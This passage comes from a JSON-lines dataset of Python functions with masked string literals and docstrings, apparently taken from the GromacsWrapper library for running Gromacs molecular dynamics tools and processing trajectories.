well\n        with fitting. It is better to do this as a separate step (see\n        :meth:`center_fit` or :func:`gromacs.cbook.trj_fitandcenter`)\n\n        :Keywords:\n           *s*\n             Input structure (typically the default tpr file but can be set to\n             some other file with a different conformation for fitting)\n           *n*\n             Alternative index file.\n           *o*\n             Name of the output trajectory. A default name is created.\n             If e.g. *dt* = 100  is one of the *kwargs* then the default name includes\n             \"_dt100ps\".\n          *xy* : boolean\n             If ``True`` then only do a rot+trans fit in the xy plane\n             (good for membrane simulations); default is ``False``.\n          *force*\n            ``True``: overwrite existing trajectories\n            ``False``: throw a IOError exception\n            ``None``: skip existing and log a warning [default]\n          *fitgroup*\n            index group to fit on [\"backbone\"]\n\n            .. Note:: If keyword *input* is supplied then it will override\n                      *fitgroup*; *input* = ``[fitgroup, outgroup]``\n          *kwargs*\n             kwargs are passed to :func:`~gromacs.cbook.trj_xyfitted`\n\n        :Returns:\n              dictionary with keys *tpr*, *xtc*, which are the names of the\n              the new files", "id": "f6863:c2:m5"}
{"signature": "def strip_water(self, os=None, o=None, on=None, compact=False,<EOL>resn=\"<STR_LIT>\", groupname=\"<STR_LIT>\", **kwargs):", "body": "force = kwargs.pop('<STR_LIT>', self.force)<EOL>newtpr = self.outfile(self.infix_filename(os, self.tpr, '<STR_LIT>'))<EOL>newxtc = self.outfile(self.infix_filename(o, self.xtc, '<STR_LIT>'))<EOL>newndx = self.outfile(self.infix_filename(on, self.tpr, '<STR_LIT>', '<STR_LIT>'))<EOL>nowater_ndx = self._join_dirname(newtpr, \"<STR_LIT>\")    <EOL>if compact:<EOL><INDENT>TRJCONV = trj_compact<EOL>if kwargs.get('<STR_LIT>') is not None and '<STR_LIT:input>' in kwargs:<EOL><INDENT>logger.warn(\"<STR_LIT>\", kwargs['<STR_LIT>'], kwargs['<STR_LIT:input>'][<NUM_LIT:0>])<EOL><DEDENT>_input = kwargs.get('<STR_LIT:input>', [kwargs.get('<STR_LIT>', '<STR_LIT>')])<EOL>kwargs['<STR_LIT:input>'] = [_input[<NUM_LIT:0>], groupname]  <EOL>del _input<EOL>logger.info(\"<STR_LIT>\", kwargs['<STR_LIT:input>'][<NUM_LIT:0>])<EOL>logger.info(\"<STR_LIT>\", kwargs['<STR_LIT:input>'][<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>TRJCONV = gromacs.trjconv<EOL>kwargs['<STR_LIT:input>'] = [groupname]<EOL>logger.info(\"<STR_LIT>\", kwargs['<STR_LIT:input>'][<NUM_LIT:0>])<EOL><DEDENT>kwargs.pop(\"<STR_LIT>\", None)<EOL>NOTwater = \"<STR_LIT>\".format(**vars())  <EOL>with utilities.in_dir(self.dirname):<EOL><INDENT>if not self.check_file_exists(newxtc, resolve=\"<STR_LIT>\", force=force):<EOL><INDENT>B = IndexBuilder(struct=self.tpr, selections=['<STR_LIT:@>'+NOTwater],<EOL>ndx=self.ndx, out_ndx=nowater_ndx)<EOL>B.combine(name_all=groupname, operation=\"<STR_LIT:|>\", defaultgroups=True)<EOL>logger.debug(\"<STR_LIT>\", nowater_ndx)<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>gromacs.tpbconv(s=self.tpr, o=newtpr, n=nowater_ndx, input=[groupname])<EOL>logger.info(\"<STR_LIT>\", newndx)<EOL>gromacs.make_ndx(f=newtpr, o=newndx, input=['<STR_LIT:q>'], stderr=False, stdout=False)<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>kwargs['<STR_LIT:s>'] = self.tpr<EOL>kwargs['<STR_LIT:f>'] = self.xtc<EOL>kwargs['<STR_LIT:n>'] = nowater_ndx<EOL>kwargs['<STR_LIT:o>'] = newxtc<EOL>TRJCONV(**kwargs)<EOL>logger.info(\"<STR_LIT>\")<EOL>for ext in '<STR_LIT>', '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>kwargs['<STR_LIT:o>'] = self.filename(newtpr, ext=ext)<EOL>TRJCONV(dump=<NUM_LIT:0>, stdout=False, stderr=False, **kwargs)  <EOL><DEDENT>except:<EOL><INDENT>logger.exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL><DEDENT><DEDENT><DEDENT>logger.info(\"<STR_LIT>\")<EOL><DEDENT>self.nowater[self.rp(newxtc)] = Transformer(dirname=self.dirname, s=newtpr,<EOL>f=newxtc, n=newndx, force=force)<EOL>return {'<STR_LIT>':self.rp(newtpr), '<STR_LIT>':self.rp(newxtc), '<STR_LIT>':self.rp(newndx)}<EOL>", "docstring": "Write xtc and tpr with water (by resname) removed.\n\n        :Keywords:\n           *os*\n              Name of the output tpr file; by default use the original but\n              insert \"nowater\" before suffix.\n           *o*\n              Name of the output trajectory; by default use the original name but\n              insert \"nowater\" before suffix.\n           *on*\n              Name of a new index file (without water).\n           *compact*\n              ``True``: write a compact and centered trajectory\n              ``False``: use trajectory as it is [``False``]\n           *centergroup*\n              Index group used for centering [\"Protein\"]\n\n              .. Note:: If *input* is provided (see below under *kwargs*)\n                        then *centergroup* is ignored and the group for\n                        centering is taken as the first entry in *input*.\n\n           *resn*\n              Residue name of the water molecules; all these residues are excluded.\n           *groupname*\n              Name of the group that is generated by subtracting all waters\n              from the system.\n           *force* : Boolean\n             - ``True``: overwrite existing trajectories\n             - ``False``: throw a IOError exception\n             - ``None``: skip existing and log a warning [default]\n           *kwargs*\n              are passed on to :func:`gromacs.cbook.trj_compact` (unless the\n              values have to be set to certain values such as s, f, n, o\n              keywords). The *input* keyword is always mangled: Only the first\n              entry (the group to centre the trajectory on) is kept, and as a\n              second group (the output group) *groupname* is used.\n\n        :Returns:\n              dictionary with keys *tpr*, *xtc*, *ndx* which are the names of the\n              the new files\n\n        .. warning:: The input tpr file should *not* have *any position restraints*;\n                     otherwise Gromacs will throw a hissy-fit and say\n\n                     *Software inconsistency error: Position restraint coordinates are\n                     missing*\n\n                     (This appears to be a bug in Gromacs 4.x.)", "id": "f6863:c2:m6"}
{"signature": "def keep_protein_only(self, os=None, o=None, on=None, compact=False,<EOL>groupname=\"<STR_LIT>\", **kwargs):", "body": "force = kwargs.pop('<STR_LIT>', self.force)<EOL>suffix = '<STR_LIT>'<EOL>newtpr = self.outfile(self.infix_filename(os, self.tpr, '<STR_LIT:_>'+suffix))<EOL>newxtc = self.outfile(self.infix_filename(o, self.xtc, '<STR_LIT:_>'+suffix))<EOL>newndx = self.outfile(self.infix_filename(on, self.tpr, '<STR_LIT:_>'+suffix, '<STR_LIT>'))<EOL>selection_ndx = suffix+\"<STR_LIT>\"    <EOL>if compact:<EOL><INDENT>TRJCONV = trj_compact<EOL>_input = kwargs.get('<STR_LIT:input>', ['<STR_LIT>'])<EOL>kwargs['<STR_LIT:input>'] = [_input[<NUM_LIT:0>], groupname]  <EOL>del _input<EOL><DEDENT>else:<EOL><INDENT>TRJCONV = gromacs.trjconv<EOL>kwargs['<STR_LIT:input>'] = [groupname]<EOL><DEDENT>selections = ['<STR_LIT:@>'+sel for sel in ['<STR_LIT>'] + kwargs.pop('<STR_LIT>',[])]<EOL>with utilities.in_dir(self.dirname):<EOL><INDENT>if not self.check_file_exists(newxtc, resolve=\"<STR_LIT>\", force=force):<EOL><INDENT>B = IndexBuilder(struct=self.tpr, selections=selections,<EOL>ndx=self.ndx, out_ndx=selection_ndx)<EOL>B.combine(name_all=groupname, operation=\"<STR_LIT:|>\", defaultgroups=True)<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>gromacs.tpbconv(s=self.tpr, o=newtpr, n=selection_ndx, input=[groupname])<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>gromacs.make_ndx(f=newtpr, o=newndx, input=['<STR_LIT:q>'], stderr=False, stdout=False)<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>kwargs['<STR_LIT:s>'] = self.tpr<EOL>kwargs['<STR_LIT:f>'] = self.xtc<EOL>kwargs['<STR_LIT:n>'] = selection_ndx<EOL>kwargs['<STR_LIT:o>'] = newxtc<EOL>TRJCONV(**kwargs)<EOL>logger.info(\"<STR_LIT>\")<EOL>for ext in '<STR_LIT>', '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>kwargs['<STR_LIT:o>'] = self.filename(newtpr, ext=ext)<EOL>TRJCONV(dump=<NUM_LIT:0>, stdout=False, stderr=False, **kwargs)  <EOL><DEDENT>except:<EOL><INDENT>logger.exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL><DEDENT><DEDENT><DEDENT>logger.info(\"<STR_LIT>\")<EOL><DEDENT>self.proteinonly[self.rp(newxtc)] = Transformer(dirname=self.dirname, s=newtpr,<EOL>f=newxtc, n=newndx, force=force)<EOL>return {'<STR_LIT>':self.rp(newtpr), '<STR_LIT>':self.rp(newxtc), '<STR_LIT>':self.rp(newndx)}<EOL>", "docstring": "Write xtc and tpr only containing the protein.\n\n        :Keywords:\n           *os*\n              Name of the output tpr file; by default use the original but\n              insert \"proteinonly\" before suffix.\n           *o*\n              Name of the output trajectory; by default use the original name but\n              insert \"proteinonly\" before suffix.\n           *on*\n              Name of a new index file.\n           *compact*\n              ``True``: write a compact and centered trajectory\n              ``False``: use trajectory as it is [``False``]\n           *groupname*\n              Name of the protein-only group.\n           *keepalso*\n              List of literal make_ndx selections of additional groups that should\n              be kept, e.g. ['resname DRUG', 'atom 6789'].\n           *force* : Boolean\n             - ``True``: overwrite existing trajectories\n             - ``False``: throw a IOError exception\n             - ``None``: skip existing and log a warning [default]\n           *kwargs*\n              are passed on to :func:`gromacs.cbook.trj_compact` (unless the\n              values have to be set to certain values such as s, f, n, o\n              keywords). The *input* keyword is always mangled: Only the first\n              entry (the group to centre the trajectory on) is kept, and as a\n              second group (the output group) *groupname* is used.\n\n        :Returns:\n              dictionary with keys *tpr*, *xtc*, *ndx* which are the names of the\n              the new files\n\n        .. warning:: The input tpr file should *not* have *any position restraints*;\n                     otherwise Gromacs will throw a hissy-fit and say\n\n                     *Software inconsistency error: Position restraint coordinates are\n                     missing*\n\n                     (This appears to be a bug in Gromacs 4.x.)", "id": "f6863:c2:m7"}
{"signature": "def strip_fit(self, **kwargs):", "body": "kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>kw_fit = {}<EOL>for k in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:input>'):<EOL><INDENT>if k in kwargs:<EOL><INDENT>kw_fit[k] = kwargs.pop(k)<EOL><DEDENT><DEDENT>kwargs['<STR_LIT:input>'] = kwargs.pop('<STR_LIT>', ['<STR_LIT>'])<EOL>kwargs['<STR_LIT>'] = kw_fit['<STR_LIT>'] = kwargs.pop('<STR_LIT>', self.force)<EOL>paths = self.strip_water(**kwargs)    <EOL>transformer_nowater = self.nowater[paths['<STR_LIT>']]  <EOL>return transformer_nowater.fit(**kw_fit)          <EOL>", "docstring": "Strip water and fit to the remaining system.\n\n        First runs :meth:`strip_water` and then :meth:`fit`; see there\n        for arguments.\n\n        - *strip_input* is used for :meth:`strip_water` (but is only useful in\n          special cases, e.g. when there is no Protein group defined. Then set\n          *strip_input* = ``['Other']``.\n\n        - *input* is passed on to :meth:`fit` and can contain the\n          ``[center_group, fit_group, output_group]``\n\n        - *fitgroup* is only passed to :meth:`fit` and just contains\n          the group to fit to (\"backbone\" by default)\n\n          .. warning:: *fitgroup* can only be a Gromacs default group and not\n                       a custom group (because the indices change after stripping)\n\n        - By default *fit* = \"rot+trans\" (and *fit* is passed to :meth:`fit`,\n          together with the *xy* = ``False`` keyword)\n\n        .. Note:: The call signature of :meth:`strip_water` is somewhat different from this one.", "id": "f6863:c2:m8"}
{"signature": "def _join_dirname(self, *args):", "body": "<EOL>return os.path.join(os.path.dirname(args[<NUM_LIT:0>]), *args[<NUM_LIT:1>:])<EOL>", "docstring": "return os.path.join(os.path.dirname(args[0]), *args[1:])", "id": "f6863:c2:m9"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.args = args<EOL>self.kwargs = kwargs<EOL>", "docstring": "Set up the command class.\n\n        The arguments can always be provided as standard positional\n        arguments such as\n\n          ``\"-c\", \"config.conf\", \"-o\", \"output.dat\", \"--repeats=3\", \"-v\", \"input.dat\"``\n\n        In addition one can also use keyword arguments such as\n\n          ``c=\"config.conf\", o=\"output.dat\", repeats=3, v=True``\n\n        These are automatically transformed appropriately according to\n        simple rules:\n\n        * Any single-character keywords are assumed to be POSIX-style\n          options and will be prefixed with a single dash and the value\n          separated by a space.\n\n        * Any other keyword is assumed to be a GNU-style long option\n          and thus will be prefixed with two dashes and the value will\n          be joined directly with an equals sign and no space.\n\n        If this does not work (as for instance for the options of the\n        UNIX ``find`` command) then provide options and values in the\n        sequence of positional arguments.\n\n\n        *Example*\n\n        Create a ``Ls`` class whose instances execute the ``ls`` command::\n\n          LS = type(\"LS\", (gromacs.core.Command,), {'command_name': 'ls'})\n          ls = LS()\n          ls()        # lists directory like ls\n          ls(l=True)  # lists directory like ls -l\n\n        Now create an instance that performs a long directory listing by\n        default::\n\n          lslong = LS(l=True)\n          lslong()    # like ls -l", "id": "f6864:c0:m0"}
{"signature": "def run(self, *args, **kwargs):", "body": "_args, _kwargs = self._combine_arglist(args, kwargs)<EOL>results, p = self._run_command(*_args, **_kwargs)<EOL>return results<EOL>", "docstring": "Run the command; args/kwargs are added or replace the ones given to the constructor.", "id": "f6864:c0:m1"}
{"signature": "def _combine_arglist(self, args, kwargs):", "body": "_args = self.args + args<EOL>_kwargs = self.kwargs.copy()<EOL>_kwargs.update(kwargs)<EOL>return _args, _kwargs<EOL>", "docstring": "Combine the default values and the supplied values.", "id": "f6864:c0:m2"}
{"signature": "def _run_command(self, *args, **kwargs):", "body": "<EOL>use_input = kwargs.pop('<STR_LIT>', True)<EOL>capturefile = None<EOL>if environment.flags['<STR_LIT>'] is True:<EOL><INDENT>kwargs.setdefault('<STR_LIT>', PIPE)<EOL>kwargs.setdefault('<STR_LIT>', PIPE)<EOL><DEDENT>elif environment.flags['<STR_LIT>'] == \"<STR_LIT:file>\":<EOL><INDENT>if '<STR_LIT>' in kwargs and '<STR_LIT>' in kwargs:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>fn = environment.flags['<STR_LIT>']<EOL>capturefile = file(fn, \"<STR_LIT:w>\")   <EOL>if '<STR_LIT>' in kwargs and '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs.setdefault('<STR_LIT>', capturefile)<EOL><DEDENT>else:<EOL><INDENT>kwargs.setdefault('<STR_LIT>', STDOUT)<EOL>kwargs.setdefault('<STR_LIT>', capturefile)<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>p = self.Popen(*args, **kwargs)<EOL>out, err = p.communicate(use_input=use_input) <EOL><DEDENT>except:<EOL><INDENT>if capturefile is not None:<EOL><INDENT>logger.error(\"<STR_LIT>\", capturefile)<EOL><DEDENT>raise<EOL><DEDENT>finally:<EOL><INDENT>if capturefile is not None:<EOL><INDENT>capturefile.close()<EOL><DEDENT><DEDENT>rc = p.returncode<EOL>return (rc, out, err), p<EOL>", "docstring": "Execute the command; see the docs for __call__.\n\n        :Returns: a tuple of the *results* tuple ``(rc, stdout, stderr)`` and\n                  the :class:`Popen` instance.", "id": "f6864:c0:m3"}
{"signature": "def _commandline(self, *args, **kwargs):", "body": "<EOL>return [self.command_name] + self.transform_args(*args, **kwargs)<EOL>", "docstring": "Returns the command line (without pipes) as a list.", "id": "f6864:c0:m4"}
{"signature": "def commandline(self, *args, **kwargs):", "body": "<EOL>_args, _kwargs = self._combine_arglist(args, kwargs)<EOL>return self._commandline(*_args, **_kwargs)<EOL>", "docstring": "Returns the commandline that run() uses (without pipes).", "id": "f6864:c0:m5"}
{"signature": "def Popen(self, *args, **kwargs):", "body": "stderr = kwargs.pop('<STR_LIT>', None)     <EOL>if stderr is False:                     <EOL><INDENT>stderr = PIPE<EOL><DEDENT>elif stderr is True:<EOL><INDENT>stderr = None                       <EOL><DEDENT>stdout = kwargs.pop('<STR_LIT>', None)     <EOL>if stdout is False:                     <EOL><INDENT>stdout = PIPE<EOL><DEDENT>elif stdout is True:<EOL><INDENT>stdout = None                       <EOL><DEDENT>stdin = kwargs.pop('<STR_LIT>', None)<EOL>input = kwargs.pop('<STR_LIT:input>', None)<EOL>use_shell = kwargs.pop('<STR_LIT>', False)<EOL>if input:<EOL><INDENT>stdin = PIPE<EOL>if isinstance(input, six.string_types) and not input.endswith('<STR_LIT:\\n>'):<EOL><INDENT>input = six.text_type(input) + '<STR_LIT:\\n>'<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>input = '<STR_LIT:\\n>'.join(map(six.text_type, input)) + '<STR_LIT:\\n>'<EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>cmd = self._commandline(*args, **kwargs)   <EOL>try:<EOL><INDENT>p = PopenWithInput(cmd, stdin=stdin, stderr=stderr, stdout=stdout,<EOL>universal_newlines=True, input=input, shell=use_shell)<EOL><DEDENT>except OSError as err:<EOL><INDENT>logger.error(\"<STR_LIT:U+0020>\".join(cmd))            <EOL>if err.errno == errno.ENOENT:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(self.command_name)<EOL>logger.fatal(errmsg)<EOL>raise OSError(errmsg)<EOL><DEDENT>else:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(self.command_name))<EOL>raise<EOL><DEDENT><DEDENT>logger.debug(p.command_string)<EOL>return p<EOL>", "docstring": "Returns a special Popen instance (:class:`PopenWithInput`).\n\n        The instance has its input pre-set so that calls to\n        :meth:`~PopenWithInput.communicate` will not need to supply\n        input. This is necessary if one wants to chain the output from\n        one command to an input from another.\n\n        :TODO:\n          Write example.", "id": "f6864:c0:m6"}
{"signature": "def transform_args(self, *args, **kwargs):", "body": "options = []<EOL>for option,value in kwargs.items():<EOL><INDENT>if not option.startswith('<STR_LIT:->'):<EOL><INDENT>if len(option) == <NUM_LIT:1>:<EOL><INDENT>option = '<STR_LIT:->' + option         <EOL><DEDENT>else:<EOL><INDENT>option = '<STR_LIT>' + option        <EOL><DEDENT><DEDENT>if value is True:<EOL><INDENT>options.append(option)<EOL>continue<EOL><DEDENT>elif value is False:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(option))<EOL><DEDENT>if option[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>options.append(option + '<STR_LIT:=>' + str(value))    <EOL><DEDENT>else:<EOL><INDENT>options.extend((option, str(value)))         <EOL><DEDENT><DEDENT>return options + list(args)<EOL>", "docstring": "Transform arguments and return them as a list suitable for Popen.", "id": "f6864:c0:m7"}
{"signature": "def help(self, long=False):", "body": "print(\"<STR_LIT>\".format(self.command_name))<EOL>print(self.__doc__)<EOL>if long:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(self.__call__.__doc__)<EOL><DEDENT>", "docstring": "Print help; same as using ``?`` in ``ipython``. long=True also gives call signature.", "id": "f6864:c0:m8"}
{"signature": "def __call__(self,*args,**kwargs):", "body": "return self.run(*args, **kwargs)<EOL>", "docstring": "Run command with the given arguments::\n\n           rc,stdout,stderr = command(*args, input=None, **kwargs)\n\n        All positional parameters *args* and all gromacs *kwargs* are passed on\n        to the Gromacs command. input and output keywords allow communication\n        with the process via the python subprocess module.\n\n        :Arguments:\n          *input* : string, sequence\n             to be fed to the process' standard input;\n             elements of a sequence are concatenated with\n             newlines, including a trailing one    [``None``]\n          *stdin*\n             ``None`` or automatically set to ``PIPE`` if input given [``None``]\n          *stdout*\n             how to handle the program's stdout stream [``None``]\n\n             filehandle\n                    anything that behaves like a file object\n             ``None`` or ``True``\n                    to see  output on screen\n             ``False`` or ``PIPE``\n                     returns the output as a string in  the stdout parameter\n\n          *stderr*\n             how to handle the stderr stream [``None``]\n\n             ``STDOUT``\n                     merges standard error with the standard out stream\n             ``False`` or ``PIPE``\n                     returns the output as a string in the stderr return parameter\n             ``None`` or ``True``\n                     keeps it on stderr (and presumably on screen)\n\n        Depending on the value of the GromacsWrapper flag\n        :data:`gromacs.environment.flags```['capture_output']`` the above\n        default behaviour can be different.\n\n        All other kwargs are passed on to the Gromacs tool.\n\n        :Returns:\n\n           The shell return code rc of the command is always returned. Depending\n           on the value of output, various strings are filled with output from the\n           command.\n\n        :Notes:\n\n           In order to chain different commands via pipes one must use the special\n           :class:`PopenWithInput` object (see :meth:`GromacsCommand.Popen` method) instead of the simple\n           call described here and first construct the pipeline explicitly and then\n           call the :meth:`PopenWithInput.communicate` method.\n\n           ``STDOUT`` and ``PIPE`` are objects provided by the :mod:`subprocess` module. Any\n           python stream can be provided and manipulated. This allows for chaining\n           of commands. Use ::\n\n              from subprocess import PIPE, STDOUT\n\n           when requiring these special streams (and the special boolean\n           switches ``True``/``False`` cannot do what you need.)\n\n           (TODO: example for chaining commands)", "id": "f6864:c0:m9"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "doc = kwargs.pop('<STR_LIT>', None)  <EOL>self.__failuremode = None<EOL>self.failuremode = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>self.gmxargs = self._combineargs(*args, **kwargs)<EOL>self._doc_cache = None<EOL>", "docstring": "Set up the command with gromacs flags as keyword arguments.\n\n        The following  are generic instructions; refer  to the Gromacs\n        command  usage information  that should  have  appeared before\n        this generic documentation.\n\n        As an example, a generic Gromacs command could use the following flags::\n\n          cmd = GromacsCommand('v', f=['md1.xtc','md2.xtc'], o='processed.xtc', t=200, ...)\n\n        which would correspond to running the command in the shell as ::\n\n          GromacsCommand -v -f md1.xtc md2.xtc -o processed.xtc -t 200\n\n        **Gromacs command line arguments**\n\n           Gromacs boolean switches (such as ``-v``) are given as python\n           positional arguments (``'v'``) or as keyword argument (``v=True``);\n           note the quotes in the first case. Negating a boolean switch can be\n           done with ``'nov'``, ``nov=True`` or ``v=False`` (and even ``nov=False``\n           works as expected: it is the same as ``v=True``).\n\n           Any Gromacs options that take parameters are handled as keyword\n           arguments. If an option takes multiple arguments (such as the\n           multi-file input ``-f file1 file2 ...``) then the list of files must be\n           supplied as a python list.\n\n           If a keyword has the python value ``None`` then it will *not* be\n           added to the Gromacs command line; this allows for flexible\n           scripting if it is not known in advance if an input file is\n           needed. In this case the default value of the gromacs tool\n           is used.\n\n           Keywords must be legal python keywords or the interpreter raises a\n           :exc:`SyntaxError` but of course Gromacs commandline arguments are\n           not required to be legal python. In this case \"quote\" the option\n           with an underscore (``_``) and the underscore will be silently\n           stripped. For instance, ``-or`` translates to the illegal keyword\n           ``or`` so it must be underscore-quoted::\n\n              cmd(...., _or='mindistres.xvg')\n\n        **Command execution**\n\n           The command is executed with the :meth:`~GromacsCommand.run` method or by\n           calling it as a function. The two next lines are equivalent::\n\n             cmd(...)\n             cmd.run(...)\n\n           When the command is run one can override options that were given at\n           initialization or one can add additional ones. The same rules for\n           supplying Gromacs flags apply as described above.\n\n        **Non-Gromacs keyword arguments**\n\n           The other keyword arguments (listed below) are not passed on to the\n           Gromacs tool but determine how the command class behaves. *They are\n           only useful when instantiating a class*, i.e. they determine how\n           this tool behaves during all future invocations although it can be\n           changed by setting :attr:`failuremode`. This is mostly of interest\n           to developers.\n\n        :Keywords:\n           *failure*\n              determines how a failure of the gromacs command is treated; it\n              can be one of the following:\n\n              'raise'\n                   raises GromacsError if command fails\n              'warn'\n                   issue a :exc:`GromacsFailureWarning`\n              ``None``\n                   just continue silently\n\n           *doc* : string\n              additional documentation (*ignored*) []\n\n        .. versionchanged:: 0.6.0\n           The *doc* keyword is now ignored (because it was not worth the effort to\n           make it work with the lazy-loading of docs).", "id": "f6864:c1:m0"}
{"signature": "def _combine_arglist(self, args, kwargs):", "body": "gmxargs = self.gmxargs.copy()<EOL>gmxargs.update(self._combineargs(*args, **kwargs))<EOL>return (), gmxargs<EOL>", "docstring": "Combine the default values and the supplied values.", "id": "f6864:c1:m2"}
{"signature": "def _combineargs(self, *args, **kwargs):", "body": "d = {arg: True for arg in args}   <EOL>d.update(kwargs)<EOL>return d<EOL>", "docstring": "Add switches as 'options' with value True to the options dict.", "id": "f6864:c1:m4"}
{"signature": "def _build_arg_list(self, **kwargs):", "body": "arglist = []<EOL>for flag, value in kwargs.items():<EOL><INDENT>flag = str(flag)<EOL>if flag.startswith('<STR_LIT:_>'):<EOL><INDENT>flag = flag[<NUM_LIT:1>:]                 <EOL><DEDENT>if not flag.startswith('<STR_LIT:->'):<EOL><INDENT>flag = '<STR_LIT:->' + flag               <EOL><DEDENT>if value is True:<EOL><INDENT>arglist.append(flag)            <EOL><DEDENT>elif value is False:<EOL><INDENT>if flag.startswith('<STR_LIT>'):<EOL><INDENT>arglist.append('<STR_LIT:->' + flag[<NUM_LIT:3>:])<EOL><DEDENT>else:<EOL><INDENT>arglist.append('<STR_LIT>' + flag[<NUM_LIT:1>:])  <EOL><DEDENT><DEDENT>elif value is None:<EOL><INDENT>pass                            <EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>arglist.extend([flag] + value) <EOL><DEDENT>except TypeError:<EOL><INDENT>arglist.extend([flag, value])  <EOL><DEDENT><DEDENT><DEDENT>return list(map(str, arglist))<EOL>", "docstring": "Build list of arguments from the dict; keys must be valid  gromacs flags.", "id": "f6864:c1:m5"}
{"signature": "def _run_command(self,*args,**kwargs):", "body": "result, p = super(GromacsCommand, self)._run_command(*args, **kwargs)<EOL>self.check_failure(result, command_string=p.command_string)<EOL>return result, p<EOL>", "docstring": "Execute the gromacs command; see the docs for __call__.", "id": "f6864:c1:m6"}
{"signature": "def _commandline(self, *args, **kwargs):", "body": "if(self.driver is not None):<EOL><INDENT>return [self.driver, self.command_name] + self.transform_args(*args, **kwargs)<EOL><DEDENT>return [self.command_name] + self.transform_args(*args, **kwargs)<EOL>", "docstring": "Returns the command line (without pipes) as a list. Inserts driver if present", "id": "f6864:c1:m7"}
{"signature": "def transform_args(self,*args,**kwargs):", "body": "newargs = self._combineargs(*args, **kwargs)<EOL>return self._build_arg_list(**newargs)<EOL>", "docstring": "Combine arguments and turn them into gromacs tool arguments.", "id": "f6864:c1:m8"}
{"signature": "def _get_gmx_docs(self):", "body": "if self._doc_cache is not None:<EOL><INDENT>return self._doc_cache<EOL><DEDENT>try:<EOL><INDENT>logging.disable(logging.CRITICAL)<EOL>rc, header, docs = self.run('<STR_LIT:h>', stdout=PIPE, stderr=PIPE, use_input=False)<EOL><DEDENT>except:<EOL><INDENT>logging.critical(\"<STR_LIT>\".format(self.command_name))<EOL>self._doc_cache = \"<STR_LIT>\"<EOL>return self._doc_cache<EOL><DEDENT>finally:<EOL><INDENT>logging.disable(logging.NOTSET)<EOL><DEDENT>m = re.match(self.doc_pattern, docs, re.DOTALL)<EOL>if m is None:<EOL><INDENT>m = re.match(self.doc_pattern, header, re.DOTALL)<EOL>if m is None:<EOL><INDENT>self._doc_cache = \"<STR_LIT>\"<EOL>return self._doc_cache<EOL><DEDENT><DEDENT>self._doc_cache = m.group('<STR_LIT>')<EOL>return self._doc_cache<EOL>", "docstring": "Extract standard gromacs doc\n\n        Extract by running the program and chopping the header to keep from\n        'DESCRIPTION' onwards.", "id": "f6864:c1:m9"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "kwargs.setdefault('<STR_LIT>', True)   <EOL>self.input = kwargs.pop('<STR_LIT:input>', None)<EOL>if six.PY2 and self.input is not None:<EOL><INDENT>self.input = self.input.encode('<STR_LIT:utf-8>')<EOL><DEDENT>self.command = args[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>input_string = '<STR_LIT>' +self.input.replace('<STR_LIT:\\n>','<STR_LIT>') + '<STR_LIT>'  <EOL><DEDENT>except (TypeError, AttributeError):<EOL><INDENT>input_string = \"<STR_LIT>\"<EOL><DEDENT>self.command_string = input_string + \"<STR_LIT:U+0020>\".join(self.command)<EOL>super(PopenWithInput,self).__init__(*args, **kwargs)<EOL>", "docstring": "Initialize with the standard :class:`subprocess.Popen` arguments.\n\n        :Keywords:\n           *input*\n               string that is piped into the command", "id": "f6864:c2:m0"}
{"signature": "def communicate(self, use_input=True):", "body": "if use_input:<EOL><INDENT>return super(PopenWithInput, self).communicate(self.input)<EOL><DEDENT>else:<EOL><INDENT>return super(PopenWithInput, self).communicate()<EOL><DEDENT>", "docstring": "Run the command, using the input that was set up on __init__ (for *use_input* = ``True``)", "id": "f6864:c2:m1"}
{"signature": "def tool_factory(clsname, name, driver, base=GromacsCommand):", "body": "clsdict = {<EOL>'<STR_LIT>': name,<EOL>'<STR_LIT>': driver,<EOL>'<STR_LIT>': property(base._get_gmx_docs)<EOL>}<EOL>return type(clsname, (base,), clsdict)<EOL>", "docstring": "Factory for GromacsCommand derived types.", "id": "f6865:m0"}
{"signature": "def make_valid_identifier(name):", "body": "return name.replace('<STR_LIT:->', '<STR_LIT:_>').capitalize()<EOL>", "docstring": "Turns tool names into valid identifiers.\n\n    :param name: tool name\n    :return: valid identifier", "id": "f6865:m1"}
{"signature": "def find_executables(path):", "body": "execs = []<EOL>for exe in os.listdir(path):<EOL><INDENT>fullexe = os.path.join(path, exe)<EOL>if (os.access(fullexe, os.X_OK) and not os.path.isdir(fullexe) and<EOL>exe not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>execs.append(exe)<EOL><DEDENT><DEDENT>return execs<EOL>", "docstring": "Find executables in a path.\n\n    Searches executables in a directory excluding some know commands\n    unusable with GromacsWrapper.\n\n    :param path: dirname to search for\n    :return: list of executables", "id": "f6865:m2"}
